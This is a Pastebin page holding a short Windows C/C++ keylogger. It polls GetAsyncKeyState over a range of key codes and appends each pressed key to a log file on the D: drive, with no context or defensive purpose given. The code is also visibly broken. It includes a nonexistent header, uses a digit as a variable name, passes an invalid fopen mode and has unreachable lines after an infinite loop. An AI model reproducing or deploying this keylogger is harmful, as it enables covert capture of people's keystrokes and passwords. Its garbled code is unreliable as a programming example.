Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <windows.h>
- #include <fastream>
- #define DELAY 100
- using namespace std;
- void writedown (char key) {
- char *path = "D:\\klog.txt";
- FILE *out;
- out = fopen(path, "a++");
- fprintf(out , "%c", key);
- fclose(out);
- }
- int main()
- {
- while(true) {
- for(char 1 = 47; 1 < 91; 1++) {
- if(GetAsyncKeyState(1) != NULL) {
- writedown(1);
- Sleep(DELAY);
- }
- }
- }
- cin.get();
- cin.get();
- return EXIT_SUCCESS;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement